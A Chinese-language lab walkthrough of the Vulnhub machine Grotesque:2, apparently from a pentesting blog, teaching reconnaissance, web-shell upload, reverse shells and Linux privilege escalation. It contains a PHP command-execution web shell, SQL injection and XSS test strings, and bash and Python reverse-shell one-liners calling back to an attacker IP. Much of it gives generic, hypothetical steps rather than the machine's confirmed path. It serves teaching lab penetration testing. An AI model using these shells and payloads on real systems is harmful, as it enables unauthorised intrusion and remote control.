1. 从“看”到“玩转”:一次靶机渗透的完整心路历程
“看完这篇,教你玩转渗透测试靶机Vulnhub——Grotesque:2”。这个标题本身就很有意思,它预设了一个从“看”到“玩转”的转变。但作为一个在渗透测试领域摸爬滚打了十多年的老手,我必须告诉你,看一百篇攻略,不如自己动手踩一次坑。Vulnhub上的靶机,尤其是像Grotesque:2这样被标记为“中等”或“困难”的机器,其价值远不止于拿到最终的root.txt。它更像是一个精心设计的迷宫,考验的是你的信息收集能力、逻辑思维、工具链的熟练度,以及在遇到意料之外情况时的临场应变能力。今天,我不打算给你一份“标准答案”式的通关秘籍,而是想带你走一遍我面对Grotesque:2时的完整思考与操作流程,分享那些攻略里通常不会写的“为什么这么做”以及“如果失败了怎么办”。
Grotesque:2是Vulnhub上一个基于Web应用漏洞的靶机,它模拟了一个存在多处安全缺陷的网站环境。很多新手拿到靶机,第一反应就是打开Nmap扫端口,然后对着开放的80端口狂用Dirb、Gobuster,接着上Burp Suite抓包改参数。这个流程没错,但过于机械。面对Grotesque:2,你需要理解的是,它的“Grotesque”(怪诞)之处可能就在于,某些看似平常的入口,背后连接着非常规的路径;或者,一个明显的漏洞,只是通往下一个更隐蔽漏洞的跳板。我们将从最基础的虚拟机配置开始,一步步深入到内核利用的细节,重点不是复现命令,而是重建整个渗透测试的思维链路。
2. 环境准备与初步侦察:超越默认扫描
在启动Grotesque:2的OVA文件之前,有几个细节决定了你后续的体验。首先,确保你的攻击机(通常是Kali Linux)和靶机在同一网络段。我推荐使用VirtualBox或VMware的“Host-Only”或“NAT网络”模式创建一个隔离的虚拟网络,这样既能保证连通性,又不会影响你的物理网络。启动靶机后,注意观察启动日志,有时靶机会在启动时显示IP地址,如果没有,你需要在攻击机上用netdiscover或arp-scan进行二层发现。
注意:有些Vulnhub靶机默认不会自动获取IP,可能需要你进入虚拟机控制台手动配置(如使用
dhclient命令)。这是第一个可能遇到的“非技术性”障碍。
假设我们通过arp-scan -l或netdiscover -r 192.168.1.0/24发现了靶机IP为192.168.1.105。接下来就是经典的Nmap扫描。但别急着用那个“万能”的-A -sC -sV命令。对于渗透测试,尤其是时间有限的模拟环境,分阶段、有重点的扫描更高效。
第一阶段:快速端口发现
nmap -sS -T4 -p- 192.168.1.105这里用了-sS(SYN半开放扫描,速度快且相对隐蔽)和-T4(较快的时间模板)。-p-表示扫描所有65535个端口。目的是快速找出所有开放端口,而不是一开始就进行全面的服务探测。
第二阶段:针对性服务探测假设第一阶段发现开放了80和另一个非常规端口(比如7890)。那么第二阶段扫描就应该针对这些具体端口:
nmap -sC -sV -p 80,7890 -oA grotesque_initial 192.168.1.105-sC:使用默认的Nmap脚本进行更深入的探测。-sV:探测服务版本。-oA:以三种格式(普通、XML、Grepable)输出结果,方便后续查阅。
为什么分两步?因为如果靶机有防火墙或入侵检测系统(IDS),一次性的、侵略性过强的扫描可能触发警报或被屏蔽。分步进行,先摸清轮廓,再重点深入,是更专业的做法。扫描结果可能会显示80端口运行着一个HTTP服务,而另一个端口可能运行着一个未知的或自定义的服务,这本身就是一条重要线索。
3. Web入口点深度枚举与漏洞初探
Nmap扫描显示80端口开放,运行着Apache服务器。直接访问http://192.168.1.105,我们看到了一个网站。很多人的下一步是立刻上目录爆破工具。但在运行工具之前,手动浏览一遍网站是至关重要的。查看页面源代码、检查Robots.txt、查看HTTP响应头信息,这些都能发现工具可能忽略的细节。
例如,在页面源代码的注释里,开发者可能会留下测试路径、备份文件位置甚至硬编码的凭证。检查HTTP头可能会发现特定的服务器版本(如Apache 2.4.49)或者框架信息(如PHP 7.4),这些信息对于寻找已知漏洞至关重要。
手动浏览后,再进行自动化枚举。我习惯将Gobuster和Dirsearch结合使用,因为它们的字典和算法各有侧重。
# 使用Gobuster进行目录和文件枚举 gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50 # 同时,可以使用Dirsearch进行更深入的扫描 python3 dirsearch.py -u http://192.168.1.105 -e php,html,js,txt,bak -w /usr/share/wordlists/dirb/big.txt在扫描过程中,重点关注以下类型的发现:
- 管理后台:如
/admin,/wp-admin,/backend。 - API或配置文件:如
/api,/config,.env,config.php.bak。 - 上传点:如
/upload,/filemanager。 - 日志或备份文件:如
/backup,/logs,access.log。
假设我们发现了/admin目录,访问后是一个登录页面。此时,不要立即尝试暴力破解。首先尝试默认凭证(admin/admin, admin/password等)。如果不行,查看页面是否有“忘记密码”功能,或者是否存在SQL注入漏洞。你可以手动测试,在用户名和密码字段输入单引号‘,观察是否有数据库报错信息回显。也可以使用Burp Suite抓取登录请求,发送到Intruder模块进行模糊测试或字典攻击。
实操心得:在针对登录框进行测试时,先进行简单的SQL注入测试(如
‘ or ‘1’=’1)和基本的XSS测试(如<script>alert(1)</script>)。有时,开发人员会在前端进行输入过滤,但后端未做校验,Burp Suite可以绕过前端的JavaScript验证。另外,注意观察登录失败和成功的HTTP响应差异,比如状态码、响应长度、返回信息的细微差别,这有助于设计有效的暴力破解攻击。
如果Web层面没有直接突破点,那么之前Nmap发现的另一个开放端口(例如7890)就变得尤为关键。用Netcat或Telnet连接上去,看看它返回什么信息。
nc -nv 192.168.1.105 7890如果返回的是一个自定义的协议横幅或者一个交互式命令行,那这可能是一个非标准服务,甚至是靶机故意留下的后门或调试接口。你需要尝试发送各种可能的命令(HELP、INFO、LOGIN等),或者用strings命令分析从该端口获取的原始数据,寻找线索。
4. 漏洞利用与权限提升:从Web Shell到Root Shell
假设我们通过Web漏洞(比如在/admin的某个参数发现了SQL注入,并利用SQLMap成功获取了数据库中的用户密码哈希,通过破解弱密码获得了后台管理员权限)获得了网站后台的访问权。在后台,我们可能发现了一个文件上传功能,允许上传图片。这是获取Web Shell的经典入口。
文件上传绕过:如果上传功能有白名单限制(只允许.jpg, .png),可以尝试多种绕过方式:
- 双扩展名:
shell.php.jpg - 大小写混淆:
shell.PHp - 尾部空格/点:
shell.php.(在某些系统处理中会被忽略) - 修改Content-Type:在Burp Suite中将上传请求中的
Content-Type: image/jpeg。 - 利用解析漏洞:例如,服务器是Nginx,可能存在
shell.jpg/.php这样的解析漏洞。
上传一个简单的PHP Web Shell(例如,使用system($_GET[‘cmd’]);的一句话木马)到服务器可访问的路径,例如/uploads/shell.php。然后通过浏览器访问http://192.168.1.105/uploads/shell.php?cmd=id,如果返回了当前用户的UID,说明Web Shell生效。
建立反向Shell:Web Shell的交互性很差。我们需要一个完整的反向Shell。在攻击机上监听一个端口:
nc -lvnp 4444然后通过Web Shell执行命令,将系统的Shell反弹到攻击机。根据靶机系统环境,命令不同:
- Linux靶机(最常见):
# Bash bash -c ‘bash -i >& /dev/tcp/192.168.1.100/4444 0>&1’ # 或者使用Python python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.100”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’- Windows靶机:可以使用PowerShell命令。
如果成功,你会在攻击机的Netcat监听端看到一个Shell。第一个命令通常是whoami和pwd,确认当前权限和位置。
权限提升(Privilege Escalation):拿到一个低权限用户(如www-data)的Shell后,目标是获取root权限。这是一个系统性的信息收集过程,我称之为“本地枚举”。
- 系统信息:
uname -a(内核版本),cat /etc/os-release(发行版信息)。 - 用户和组:
id,cat /etc/passwd,cat /etc/group。 - 运行进程:
ps aux或ps -ef, 查看是否有以root身份运行的可疑或脆弱进程。 - 网络连接:
netstat -tulnp或ss -tulnp, 查看开放端口和连接,可能与内部服务有关。 - 计划任务:
crontab -l(当前用户), 查看/etc/crontab和/etc/cron.d/目录,寻找以root权限定期运行的任务,看是否有脚本的写权限。 - SUID/GUID文件:
find / -perm -u=s -type f 2>/dev/null查找设置了SUID位的文件。如果find命令本身是SUID,那可以直接用它提权(find . -exec /bin/sh \; -quit)。 - 可写文件:
find / -writable 2>/dev/null | grep -v proc | grep -v sys, 特别是/etc/passwd,/etc/sudoers.d/目录下的文件。 - 环境变量:
env, 查看PATH变量中是否有当前用户可写的目录,这可能导致劫持。 - 查看历史命令:
history, 可能包含密码或其他敏感信息。 - 查看配置文件:Web应用的配置文件(如
config.php,.env)中可能包含数据库密码,而数据库里可能存有其他用户的密码哈希。
针对Grotesque:2, 提权路径可能就隐藏在上述某一步中。例如,你可能发现一个以root权限运行的、但配置错误的系统服务(通过ps aux或systemctl list-units发现),或者一个全局可写的脚本被cron以root身份执行。又或者,内核版本较旧,存在公开的本地提权漏洞(如Dirty Pipe, Dirty COW)。你可以使用searchsploit linux kernel 3.13这样的命令在本地搜索漏洞,或者上传像linpeas.sh这样的自动化提权脚本进行深度枚举。
踩坑实录:有一次在提权时,我发现了一个SUID位的
/usr/bin/vim.basic。理论上,可以通过:!bash在Vim中启动一个具有SUID权限的shell。但实际执行时,系统提示“suid不安全,已忽略”。这是因为现代Linux系统(拥有secureexec选项)会丢弃SUID程序启动的子进程的SUID权限。这个坑告诉我,不能盲目相信每一个SUID文件。后来,我通过检查Vim的配置文件或插件路径,发现了可写的目录,通过编写恶意插件实现了提权。所以,自动化脚本是很好的起点,但手动验证和深入思考必不可少。
5. 内核漏洞利用与最终突破
当常规的路径(SUID, cron, 环境变量)都走不通时,内核漏洞往往是最后的武器。使用uname -a获取精确的内核版本,例如Linux grotesque 5.4.0-96-generic。然后去Exploit-DB或GitHub上搜索对应的提权漏洞。
利用过程注意事项:
- 环境适配:公开的Exploit代码往往需要在目标机上编译。你需要检查目标机是否有GCC编译器(
which gcc)。如果没有,你可能需要在攻击机上交叉编译,或者寻找已经编译好的、适用于多种架构的二进制文件,但这风险较高。 - 上传Exploit:可以通过Web Shell上传,或者如果靶机开启了Python HTTP服务,可以在攻击机用
python3 -m http.server 8000启动一个简易服务器,然后在靶机Shell中用wget或curl下载。 - 编译与执行:在靶机上,
gcc exploit.c -o exploit, 然后./exploit。如果成功,你会看到提示符从$变成了#。 - 稳定性:有些内核漏洞利用不稳定,可能导致系统崩溃(内核恐慌)。在渗透测试环境中问题不大,但在真实环境中需极其谨慎。
假设我们通过一个内核漏洞成功获得了root权限。最后一步是寻找标志文件。在Vulnhub靶机中,通常是/root/root.txt和/home/user/user.txt。用cat命令读取它们,这就是你完成渗透的证明。
清理痕迹(可选,在授权测试中很重要):在真实渗透测试或CTF结束后,出于职业道德,可以考虑清理你留下的Web Shell、添加的用户、上传的Exploit文件等。但在Vulnhub练习环境中,这一步通常可以省略。
整个Grotesque:2的渗透过程,从信息收集到内核提权,实际上是一个不断提出假设、验证假设、并根据反馈调整方向的过程。它没有唯一的路径,我所描述的也只是其中一种可能性。真正的“玩转”,是你能在面对任何新靶机时,都有一套清晰的、可迭代的方法论,而不是死记硬背命令。工具是手臂,思维才是大脑。每一次“踩坑”和“绕路”,都是对你思维模式最有效的锤炼。所以,别只是“看完”,打开你的虚拟机,真正去“玩转”它吧。遇到错误和失败时,去搜索,去理解错误信息,去尝试不同的方法,那个过程才是你技能提升最快的时候。